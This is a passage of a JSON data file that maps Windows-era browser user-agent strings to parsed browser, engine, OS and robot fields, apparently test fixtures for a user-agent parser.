"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11" : { "browser" : "chrome", "browser_beta" : ".963.79", "browser_major" : "17", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".11", "engine_string" : "WebKit", "engine_version" : "535.11", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13" : { "browser" : "chrome", "browser_beta" : ".1290.1", "browser_major" : "24", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "537.1", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60" : { "browser" : "opera", "browser_major" : "26", "browser_minor" : ".0", "browser_string" : "Opera", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "winxp", "opera", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2224.3", "browser_major" : "41", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) coc_coc_browser/46.0 Chrome/40.0.2214.121_coc_coc Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.121_coc_coc", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "winxp", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" : { "browser" : "firefox", "browser_major" : "11", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "11", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "11.0", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120403211507 Firefox/12.0" : { "browser" : "firefox", "browser_major" : "12", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "12", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "12.0", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130401 Firefox/21.0" : { "browser" : "firefox", "browser_major" : "21", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "21", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "21.0", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1; rv:22.0) Gecko/20100101 Firefox/22.0 Paros/3.2.13" : { "browser" : "firefox", "browser_major" : "22", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "22", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "22.0", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20140208 Firefox/24.0 PaleMoon/24.3.2" : { "browser" : "firefox", "browser_major" : "24", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "24", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "24.0", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0" : { "browser" : "firefox", "browser_major" : "32", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "32", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "32.0", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1; rv:35.0) Gecko/20100101 Firefox/35.0" : { "browser" : "firefox", "browser_major" : "35", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "35", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "35.0", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1; rv:35.0) Gecko/20100101 Firefox/35.0 AlexaToolbar/alxf-2.21" : { "browser" : "firefox", "browser_major" : "35", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "35", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "35.0", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2" : { "browser" : "firefox", "browser_beta" : ".2", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : ".2", "engine_major" : "6", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "6.0", "match" : [ "windows", "winnt", "win32", "winxp", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1" : { "browser" : "chrome", "browser_beta" : ".782.220", "browser_major" : "13", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "535.1", "match" : [ "windows", "winnt", "win32", "winvista", "chrome", "webkit" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.0; es-ES; rv:1.9.2.20) Gecko/20120126 Firefox/5.0" : { "browser" : "firefox", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Firefox", "country" : "ES", "engine" : "gecko", "engine_beta" : ".2.20", "engine_major" : "1", "engine_minor" : ".9", "engine_string" : "Gecko", "engine_version" : "1.9", "language" : "ES", "match" : [ "windows", "winnt", "win32", "winvista", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.0; rv:22.0) Gecko/20130405 Firefox/22.0" : { "browser" : "firefox", "browser_major" : "22", "browser_minor" : ".0", "browser_string" : "Firefox", "engine" : "gecko", "engine_beta" : "", "engine_major" : "22", "engine_minor" : ".0", "engine_string" : "Gecko", "engine_version" : "22.0", "match" : [ "windows", "winnt", "win32", "winvista", "firefox", "gecko" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML like Gecko) Chrome/15.0.874.121 Safari/535.2" : { "browser" : "chrome", "browser_beta" : ".874.121", "browser_major" : "15", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".2", "engine_string" : "WebKit", "engine_version" : "535.2", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0" : { "browser" : "chrome", "browser_beta" : ".872.0", "browser_major" : "18", "browser_minor" : ".6", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".2", "engine_string" : "WebKit", "engine_version" : "535.2", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML like Gecko) Chrome/20.0.1132.47 Safari/536.11" : { "browser" : "chrome", "browser_beta" : ".1132.47", "browser_major" : "20", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "536", "engine_minor" : ".11", "engine_string" : "WebKit", "engine_version" : "536.11", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML like Gecko) Chrome/21.0.1180.83 Safari/537.1" : { "browser" : "chrome", "browser_beta" : ".1180.83", "browser_major" : "21", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "537.1", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; HaosouSpider; http://www.haosou.com/help/help_3_2.html)" : { "browser" : "chrome", "browser_beta" : ".1180.89", "browser_major" : "21", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "537.1", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit", "robot" ], "os" : "windows", "os_string" : "Win7", "robot" : "unknown", "robot_beta" : "Spider", "robot_major" : "360", "robot_name" : "", "robot_version" : "360" }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17" : { "browser" : "chrome", "browser_beta" : ".1309.0", "browser_major" : "24", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "537.1", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML like Gecko) Chrome/23.0.1271.97 Safari/537.11" : { "browser" : "chrome", "browser_beta" : ".1271.97", "browser_major" : "23", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".11", "engine_string" : "WebKit", "engine_version" : "537.11", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.17 (KHTML like Gecko) Chrome/24.0.1312.56 Safari/537.17" : { "browser" : "chrome", "browser_beta" : ".1312.56", "browser_major" : "24", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".17", "engine_string" : "WebKit", "engine_version" : "537.17", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.22 (KHTML like Gecko) Chrome/25.0.1364.152 Safari/537.22" : { "browser" : "chrome", "browser_beta" : ".1364.152", "browser_major" : "25", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".22", "engine_string" : "WebKit", "engine_version" : "537.22", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML like Gecko) Chrome/27.0.1453.110 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1453.110", "browser_major" : "27", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1500.71 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1500.71", "browser_major" : "28", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1500.72 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1500.72", "browser_major" : "28", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML like Gecko) Chrome/29.0.1547.57 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1547.57", "browser_major" : "29", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML like Gecko) Chrome/33.0.1750.146 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1750.146", "browser_major" : "33", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36 OPR/18.0.1284.63" : { "browser" : "opera", "browser_major" : "18", "browser_minor" : ".0", "browser_string" : "Opera", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "opera", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 YaBrowser/14.10.2062.12521 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2062.124", "browser_major" : "37", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.104 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2125.104", "browser_major" : "38", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 OPR/27.0.1689.76" : { "browser" : "opera", "browser_major" : "27", "browser_minor" : ".0", "browser_string" : "Opera", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "opera", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 YaBrowser/15.2.2214.3645 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.115", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2228.0", "browser_major" : "41", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.79 Safari/537.4" : { "browser" : "chrome", "browser_beta" : ".1229.79", "browser_major" : "22", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".4", "engine_string" : "WebKit", "engine_version" : "537.4", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b" : { "browser" : "safari", "browser_major" : 5, "browser_minor" : ".34", "browser_string" : "Safari", "engine" : "webkit", "engine_major" : "534", "engine_string" : "WebKit", "engine_version" : "534", "match" : [ "windows", "winnt", "win32", "win7", "safari", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML like Gecko) Chrome/13.0.782.112 Safari/535.1" : { "browser" : "chrome", "browser_beta" : ".782.112", "browser_major" : "13", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "535.1", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML like Gecko) Chrome/18.0.1025.162 Safari/535.19" : { "browser" : "chrome", "browser_beta" : ".1025.162", "browser_major" : "18", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".19", "engine_string" : "WebKit", "engine_version" : "535.19", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML like Gecko) Chrome/18.0.1025.168 Safari/535.19" : { "browser" : "chrome", "browser_beta" : ".1025.168", "browser_major" : "18", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".19", "engine_string" : "WebKit", "engine_version" : "535.19", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3" : { "browser" : "chrome", "browser_beta" : ".1061.1", "browser_major" : "19", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "536", "engine_minor" : ".3", "engine_string" : "WebKit", "engine_version" : "536.3", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML like Gecko) Chrome/19.0.1084.52 Safari/536.5" : { "browser" : "chrome", "browser_beta" : ".1084.52", "browser_major" : "19", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "536", "engine_minor" : ".5", "engine_string" : "WebKit", "engine_version" : "536.5", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6 Chrome 19.0.1084.9" : { "beta" : ".1092.0", "browser" : "chrome", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "536", "engine_minor" : ".6", "engine_string" : "WebKit", "engine_version" : "536.6", "major" : "20", "match" : [ "windows", "winnt", "win32", "win7", "webkit", "chrome" ], "minor" : ".0", "os" : "windows", "os_string" : "Win7", "public_beta" : ".1092.0", "public_major" : "20", "public_minor" : ".0", "public_version" : 20, "version" : 20 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML like Gecko) Chrome/21.0.1180.49 Safari/537.1" : { "browser" : "chrome", "browser_beta" : ".1180.49", "browser_major" : "21", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "537.1", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML like Gecko) Chrome/23.0.1271.64 Safari/537.11" : { "browser" : "chrome", "browser_beta" : ".1271.64", "browser_major" : "23", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".11", "engine_string" : "WebKit", "engine_version" : "537.11", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML like Gecko) Chrome/23.0.1271.91 Safari/537.11" : { "browser" : "chrome", "browser_beta" : ".1271.91", "browser_major" : "23", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".11", "engine_string" : "WebKit", "engine_version" : "537.11", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML like Gecko) Chrome/24.0.1312.57 Safari/537.17" : { "browser" : "chrome", "browser_beta" : ".1312.57", "browser_major" : "24", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".17", "engine_string" : "WebKit", "engine_version" : "537.17", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML like Gecko) Chrome/25.0.1364.172 Safari/537.22" : { "browser" : "chrome", "browser_beta" : ".1364.172", "browser_major" : "25", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".22", "engine_string" : "WebKit", "engine_version" : "537.22", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML like Gecko) Chrome/25.0.1364.97 Safari/537.22" : { "browser" : "chrome", "browser_beta" : ".1364.97", "browser_major" : "25", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".22", "engine_string" : "WebKit", "engine_version" : "537.22", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML like Gecko) Chrome/26.0.1410.43 Safari/537.31" : { "browser" : "chrome", "browser_beta" : ".1410.43", "browser_major" : "26", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".31", "engine_string" : "WebKit", "engine_version" : "537.31", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/29.0.1547.76 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1547.76", "browser_major" : "29", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/31.0.1650.63 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1650.63", "browser_major" : "31", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/34.0.1847.137 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1847.137", "browser_major" : "34", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/35.0.1916.153 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1916.153", "browser_major" : "35", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1599.101", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "windows", "winnt", "win32", "win7", "chrome", "webkit" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0" : { "beta" : ".1916.153", "browser" : "chrome", "browser_string" : "Chrome", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : 